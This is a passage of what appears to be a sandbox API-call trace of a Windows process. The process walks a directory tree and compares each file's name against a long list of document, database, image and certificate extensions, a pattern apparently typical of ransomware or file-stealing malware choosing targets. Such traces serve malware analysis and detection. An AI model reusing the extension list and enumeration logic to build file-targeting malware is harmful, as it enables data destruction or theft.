	[0070.233] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".dqy") returned 4
	[0070.233] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".dsn") returned 4
	[0070.233] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".dt") returned 3
	[0070.233] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0070.233] lstrlenW (lpString=".dtd") returned 4
	[0070.233] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0070.233] lstrlenW (lpString=".dwg") returned 4
	[0070.234] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".dwt") returned 4
	[0070.234] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".dx") returned 3
	[0070.234] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0070.234] lstrlenW (lpString=".dxf") returned 4
	[0070.234] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".edml") returned 5
	[0070.234] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0070.234] lstrlenW (lpString=".efd") returned 4
	[0070.234] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".elf") returned 4
	[0070.234] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".emf") returned 4
	[0070.234] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".emz") returned 4
	[0070.234] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".epf") returned 4
	[0070.234] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".eps") returned 4
	[0070.234] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".epsf") returned 5
	[0070.234] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0070.234] lstrlenW (lpString=".epsp") returned 5
	[0070.234] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0070.234] lstrlenW (lpString=".erf") returned 4
	[0070.234] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".exr") returned 4
	[0070.234] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".f4v") returned 4
	[0070.234] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".fido") returned 5
	[0070.234] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0070.234] lstrlenW (lpString=".flm") returned 4
	[0070.234] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0070.234] lstrlenW (lpString=".flv") returned 4
	[0070.235] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".frm") returned 4
	[0070.235] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".fxg") returned 4
	[0070.235] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".geo") returned 4
	[0070.235] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".gif") returned 4
	[0070.235] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".grs") returned 4
	[0070.235] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".gz") returned 3
	[0070.235] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0070.235] lstrlenW (lpString=".h") returned 2
	[0070.235] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0070.235] lstrlenW (lpString=".hdr") returned 4
	[0070.235] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".hpp") returned 4
	[0070.235] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".hta") returned 4
	[0070.235] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".htc") returned 4
	[0070.235] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".htm") returned 4
	[0070.235] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".html") returned 5
	[0070.235] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0070.235] lstrlenW (lpString=".icb") returned 4
	[0070.235] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".ics") returned 4
	[0070.235] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".iff") returned 4
	[0070.235] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".inc") returned 4
	[0070.235] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0070.235] lstrlenW (lpString=".indd") returned 5
	[0070.235] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0070.236] lstrlenW (lpString=".ini") returned 4
	[0070.236] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".iqy") returned 4
	[0070.236] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".j2c") returned 4
	[0070.236] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".j2k") returned 4
	[0070.236] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".java") returned 5
	[0070.236] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0070.236] lstrlenW (lpString=".jp2") returned 4
	[0070.236] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".jpc") returned 4
	[0070.236] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".jpe") returned 4
	[0070.236] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".jpeg") returned 5
	[0070.236] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0070.236] lstrlenW (lpString=".jpf") returned 4
	[0070.236] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".jpg") returned 4
	[0070.236] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".jpx") returned 4
	[0070.236] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".js") returned 3
	[0070.236] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0070.236] lstrlenW (lpString=".jsf") returned 4
	[0070.236] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".json") returned 5
	[0070.236] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0070.236] lstrlenW (lpString=".jsp") returned 4
	[0070.236] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".kdc") returned 4
	[0070.236] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".kmz") returned 4
	[0070.236] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0070.236] lstrlenW (lpString=".kwm") returned 4
	[0070.236] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".lasso") returned 6
	[0070.237] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0070.237] lstrlenW (lpString=".lbi") returned 4
	[0070.237] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".lgf") returned 4
	[0070.237] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".lgp") returned 4
	[0070.237] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".log") returned 4
	[0070.237] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".m1v") returned 4
	[0070.237] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".m4a") returned 4
	[0070.237] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".m4v") returned 4
	[0070.237] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".max") returned 4
	[0070.237] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".md") returned 3
	[0070.237] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0070.237] lstrlenW (lpString=".mda") returned 4
	[0070.237] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".mdb") returned 4
	[0070.237] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".mde") returned 4
	[0070.237] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".mdf") returned 4
	[0070.237] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".mdw") returned 4
	[0070.237] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".mef") returned 4
	[0070.237] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".mft") returned 4
	[0070.237] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0070.237] lstrlenW (lpString=".mfw") returned 4
	[0070.237] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mht") returned 4
	[0070.359] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mhtml") returned 6
	[0070.359] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0070.359] lstrlenW (lpString=".mka") returned 4
	[0070.359] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mkidx") returned 6
	[0070.359] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0070.359] lstrlenW (lpString=".mkv") returned 4
	[0070.359] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mos") returned 4
	[0070.359] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mov") returned 4
	[0070.359] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mp3") returned 4
	[0070.359] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mp4") returned 4
	[0070.359] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mpeg") returned 5
	[0070.359] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0070.359] lstrlenW (lpString=".mpg") returned 4
	[0070.359] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mpv") returned 4
	[0070.359] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mrw") returned 4
	[0070.359] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".msg") returned 4
	[0070.359] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".mxl") returned 4
	[0070.359] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".myd") returned 4
	[0070.359] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".myi") returned 4
	[0070.359] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0070.359] lstrlenW (lpString=".nef") returned 4
	[0070.360] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".nrw") returned 4
	[0070.360] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".obj") returned 4
	[0070.360] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".odb") returned 4
	[0070.360] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".odc") returned 4
	[0070.360] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".odm") returned 4
	[0070.360] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".odp") returned 4
	[0070.360] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".ods") returned 4
	[0070.360] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".oft") returned 4
	[0070.360] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".one") returned 4
	[0070.360] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".onepkg") returned 7
	[0070.360] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0070.360] lstrlenW (lpString=".onetoc2") returned 8
	[0070.360] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0070.360] lstrlenW (lpString=".opt") returned 4
	[0070.360] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".oqy") returned 4
	[0070.360] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".orf") returned 4
	[0070.360] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".p12") returned 4
	[0070.360] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".p7b") returned 4
	[0070.360] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".p7c") returned 4
	[0070.360] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0070.360] lstrlenW (lpString=".pam") returned 4
	[0070.360] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pbm") returned 4
	[0070.361] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pct") returned 4
	[0070.361] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pcx") returned 4
	[0070.361] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pdd") returned 4
	[0070.361] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pdf") returned 4
	[0070.361] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pdp") returned 4
	[0070.361] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pef") returned 4
	[0070.361] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pem") returned 4
	[0070.361] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pff") returned 4
	[0070.361] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pfm") returned 4
	[0070.361] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pfx") returned 4
	[0070.361] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".pgm") returned 4
	[0070.361] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".php") returned 4
	[0070.361] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0070.361] lstrlenW (lpString=".php3") returned 5
	[0070.361] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0070.361] lstrlenW (lpString=".php4") returned 5
	[0070.361] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0070.361] lstrlenW (lpString=".php5") returned 5
	[0070.361] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0070.361] lstrlenW (lpString=".phtml") returned 6
	[0070.361] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0070.361] lstrlenW (lpString=".pict") returned 5
	[0070.361] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0070.362] lstrlenW (lpString=".pl") returned 3
	[0070.362] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0070.362] lstrlenW (lpString=".pls") returned 4
	[0070.362] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".pm") returned 3
	[0070.362] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0070.362] lstrlenW (lpString=".png") returned 4
	[0070.362] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".pnm") returned 4
	[0070.362] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".pot") returned 4
	[0070.362] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".potm") returned 5
	[0070.362] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0070.362] lstrlenW (lpString=".potx") returned 5
	[0070.362] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0070.362] lstrlenW (lpString=".ppa") returned 4
	[0070.362] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".ppam") returned 5
	[0070.362] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0070.362] lstrlenW (lpString=".ppm") returned 4
	[0070.362] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".pps") returned 4
	[0070.362] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".ppsm") returned 5
	[0070.362] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0070.362] lstrlenW (lpString=".ppt") returned 4
	[0070.362] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".pptm") returned 5
	[0070.362] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0070.362] lstrlenW (lpString=".pptx") returned 5
	[0070.362] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0070.362] lstrlenW (lpString=".prn") returned 4
	[0070.362] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0070.362] lstrlenW (lpString=".ps") returned 3
	[0070.362] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0070.362] lstrlenW (lpString=".psb") returned 4
	[0070.363] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".psd") returned 4
	[0070.363] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".pst") returned 4
	[0070.363] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".ptx") returned 4
	[0070.363] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".pub") returned 4
	[0070.363] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".pwm") returned 4
	[0070.363] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".pxr") returned 4
	[0070.363] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".py") returned 3
	[0070.363] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0070.363] lstrlenW (lpString=".qt") returned 3
	[0070.363] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0070.363] lstrlenW (lpString=".r3d") returned 4
	[0070.363] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".raf") returned 4
	[0070.363] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0070.363] lstrlenW (lpString=".rar") returned 4
	[0070.363] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.363] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.364] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.364] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.364] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0070.364] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.364] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0070.364] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.364] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121410
	[0070.364] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.365] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.365] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.365] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.365] FindNextFileW (in: hFindFile=0x3121410, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.365] FindClose (in: hFindFile=0x3121410 | out: hFindFile=0x3121410) returned 1
	[0070.365] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.365] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0070.365] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
